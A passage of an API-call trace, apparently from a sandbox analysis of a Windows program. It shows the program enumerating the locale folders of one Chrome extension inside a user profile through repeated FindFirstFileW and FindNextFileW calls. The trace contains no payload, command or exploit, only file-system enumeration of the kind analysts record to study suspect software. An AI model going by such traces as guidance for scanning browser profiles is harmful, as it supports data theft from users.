ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86aba9b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86aba9b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0278.681] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86aba9b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86aba9b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0278.681] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86aba9b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86abb180, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x124, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0278.681] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86aba9b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86abb180, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x124, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0278.681] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0278.681] GetProcessHeap () returned 0x550000 [0278.681] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0278.681] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca", cAlternateFileName="")) returned 1 [0278.682] GetProcessHeap () returned 0x550000 [0278.682] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3742070 [0278.682] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0278.683] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0278.683] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a48590, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0278.683] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a48590, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0278.688] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0278.688] GetProcessHeap () returned 0x550000 [0278.688] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0278.688] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869b0010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs", cAlternateFileName="")) returned 1 [0278.688] GetProcessHeap () returned 0x550000 [0278.688] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3742070 [0278.688] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869b0010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0278.689] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869b0010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0278.689] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a48590, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xf9, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0278.689] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a48590, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xf9, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0278.690] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0278.690] GetProcessHeap () returned 0x550000 [0278.690] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0278.690] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86aba9b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86aba9b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da", cAlternateFileName="")) returned 1 [0278.690] GetProcessHeap () returned 0x550000 [0278.690] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3742070 [0278.690] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86aba9b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86aba9b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0278.691] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86aba9b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86aba9b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0278.691] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86aba9b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86abb180, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xec, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0278.691] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86aba9b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86abb180, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xec, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0278.691] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0278.691] GetProcessHeap () returned 0x550000 [0278.691] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0278.691] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de", cAlternateFileName="")) returned 1 [0278.691] GetProcessHeap () returned 0x550000 [0278.691] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3742070 [0278.691] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0278.692] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0278.692] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a48590, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xef, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0278.692] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a48590, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xef, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0278.692] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0278.692] GetProcessHeap () returned 0x550000 [0278.692] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0278.692] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el", cAlternateFileName="")) returned 1 [0278.692] GetProcessHeap () returned 0x550000 [0278.692] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3742070 [0278.693] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0278.742] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0278.743] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a6e6f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6f690, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x14c, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0278.743] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a6e6f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6f690, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x14c, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0278.743] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0278.743] GetProcessHeap () returned 0x550000 [0278.743] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0278.743] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86aba9b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86aba9b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en", cAlternateFileName="")) returned 1 [0278.743] GetProcessHeap () returned 0x550000 [0278.743] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3742070 [0278.743] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86aba9b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86aba9b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0278.743] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86aba9b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86aba9b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0278.743] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86aba9b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86abb180, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0278.743] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86aba9b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86abb180, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0278.744] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0278.744] GetProcessHeap () returned 0x550000 [0278.744] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0278.744] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es", cAlternateFileName="")) returned 1 [0278.744] GetProcessHeap () returned 0x550000 [0278.744] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3742070 [0278.744] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0278.744] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0278.744] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a48590, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x10d, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0278.745] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a48590, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x10d, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0278.745] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0278.745] GetProcessHeap () returned 0x550000 [0278.745] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0278.745] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, 